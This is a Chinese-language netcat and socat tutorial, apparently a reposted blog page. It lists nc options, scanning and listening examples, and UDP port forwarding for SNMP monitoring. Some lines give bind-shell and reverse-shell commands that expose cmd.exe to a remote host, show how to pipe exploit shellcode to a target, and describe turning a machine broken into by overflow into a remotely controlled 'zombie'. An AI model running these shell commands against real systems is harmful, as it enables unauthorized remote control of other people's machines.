zoukankan      html  css  js  c++  java
  • nc -v -w 2 sjisde828v -z 10001

    参数介绍:

    *nc.exe -h*即可看到各参数的使用方法。

    基本格式:nc [-options] hostname port[s] [ports] ...

    nc -l -p port [options] [hostname] [port]

    -d 后台模式

    -e prog 程序重定向,一旦连接,就执行 [危险!!]

    -g gateway source-routing hop point[s], up to 8

    -G num source-routing pointer: 4, 8, 12, ...

    -h 帮助信息

    -i secs 延时的间隔

    -l 监听模式,用于入站连接

    -L 连接关闭后,仍然继续监听

    -n 指定数字的IP地址,不能用hostname

    -o file 记录16进制的传输

    -p port 本地端口号

    -r 随机本地及远程端口

    -s addr 本地源地址

    -t 使用TELNET交互方式

    -u UDP模式

    -v 详细输出--用两个-v可得到更详细的内容

    -w secs timeout的时间

    -z 将输入输出关掉--用于扫描时

    端口的表示方法可写为M-N的范围格式。

    =====================================================================================================

    基本用法:

    大概有以下几种用法:

    1)连接到REMOTE主机,例子:

    格式:nc -nvv 192.168.x.x 80

    讲解:连到192.168.x.x的TCP80端口

    2)监听LOCAL主机,例子:

    格式:nc -l -p 80

    讲解:监听本机的TCP80端口

    3)扫描远程主机,例子:

    格式:nc -nvv -w2 -z 192.168.x.x 80-445

    讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

    4)REMOTE主机绑定SHELL,例子:

    格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe

    讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

    5)REMOTE主机绑定SHELL并反向连接,例子:

    格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354

    讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

    以上为最基本的几种用法(其实NC的用法还有很多,

    当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。

    =====================================================================================================

    高级用法:

    6)作攻击程序用,例子:

    格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80

    格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt

    讲解:连接到192.168.x.x的80端口,并在其管道中发送*c:exploit.txt*的内容(两种格式确有相同的效果,

    真是有异曲同工之妙)

    附:*c:exploit.txt*为shellcode等

    7)作蜜罐用[1],例子:

    格式:nc -L -p 80

    讲解:使用*-L*(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

    8)作蜜罐用[2],例子:

    格式:nc -L -p 80 > c:log.txt

    讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到*c:log.txt*中,如果把*>*

    改为*>>*即可以追加日志

    附:*c:log.txt*为日志等

    9)作蜜罐用[3],例子:

    格式1:nc -L -p 80 < c:honeypot.txt

    格式2:type.exe c:honeypot.txt|nc -L -p 80

    讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,并把*c:honeypot.txt*的内容*送*入其

    管道中

    附:*c:honeypot.txt*为欺骗数据等

    二、

    如果你通过溢出进入了别人的机器,就可以运行:

    nc -l -p 123 -e cmd.exe

    或者是: nc -l -p 123 -t

    作用都是以cmd.exe来响应到机器上123端口的连接.

    这样就把溢出的主机变成了一台telnet肉鸡了!

    你也可一用命令让肉鸡主动连接你的主机,假设我的IP是192.168.0.1 .

    在肉鸡上运行: nc -e cmd.exe 192.168.0.1 777

    再在本地机器上运行: nc -l -p 777

    意思是让肉鸡将cmd.exe(就是个shell)主动响应到你电脑的777端口。

    你再在本地机上监听777端口,这样就进入了对方的cmd了。

    这也微十时毫反弹端口式木马的原理了。

    二、使用nc来映射UPD端口

    假设被监控服务器的IP为192.168.1.1;用于端口映射的主机为某个公网IP如59.1.1.1;需要映射的端口为UDP 161转发端口设为1161(自定义建议1024以上端口)

    在端口映射服务器上操作,要安装nc,一般系统都会安装;

    【注:nc存在安全漏洞,一定要设定防火墙】

    首先使用mkfifo建立管道文件

    #mkfifo /tmp/snmpfifo

    通过nc建立端口映射 -l为监听模式 -u为UDP -p为本地端口;将内网监控161端口映射到本地的1161端口上;

    #nc -l -u -p 1161 < /tmp/snmpfifo | nc -u 192.168.1.1 161 > /tmp/snmpfifo

    查看netstat 1161是否监听

    #netstat -nlp |grep :1161

    udp 0 0 0.0.0.0:1161 0.0.0.0:* 31472/nc

    在监控服务器上进行测试是否能采集到数据:

    #snmpwalk -c public -v2c 59.1.1.1:1161 if

    IF-MIB::ifIndex.1 = INTEGER: 1

    IF-MIB::ifIndex.2 = INTEGER: 2

    IF-MIB::ifIndex.3 = INTEGER: 3

    IF-MIB::ifIndex.4 = INTEGER: 4

    IF-MIB::ifDescr.1 = STRING: lo

    IF-MIB::ifDescr.2 = STRING: eth0

    ….

    设定成功;这里存在一个问题就是nc监听的端口每次一连接就会挂起,采取一个比较笨的办法就是写个restart.sh脚本放在crontab中每分钟执行一次;

    产生该问题的主要原因我在下面讲socat的时候会分析的;

    针对snmp采集这样是没有问题,如果dns服务就不行啦!

    三、采用nc升级版本的socat来实现UDP端口映射

    软件包下载地址:http://www.dest-unreach.org/socat/download/

    安装无非就是configure make make install

    socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等

    这里不一一介绍啦!

    有兴趣可以查看官方文档:http://www.dest-unreach.org/socat/doc/socat.html

    我们说说如何使用socat建立UPD端口映射

    #socat udp4-listen:11161,reuseaddr,fork UDP:[监控服务器IP]:161

    udp4-listen:在本地建立的是一个udp ipv4协议的监听端口;

    reuseaddr,绑定本地一个端口;

    fork,设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听;

    【注:nc就是因为缺少fork模式,所以每次监听只能处理一次连接】

    ps:无论是nc方式还是socat方式,启动监听模式都是在前端占用一个shell,所以请在后台执行或者使用screen工具等等!

  • 相关阅读:
    小程序
    wepy
    html5 +css3 点击后水波纹扩散效果 兼容移动端
    vue+element 切换正式和测试环境
    Nuxt
    vue相关安装命令
    【react】--------------配置react项目根路径-------------【劉】
    【Android】--------------高版本http请求错误-------------【劉】
    【react-native】--------------检测SIM卡是否安装-------------【劉】
    【javascript】--------------http-------------【劉】
  • 原文地址:https://www.cnblogs.com/kevin-boy/p/3238197.html
Copyright © 2011-2022 走看看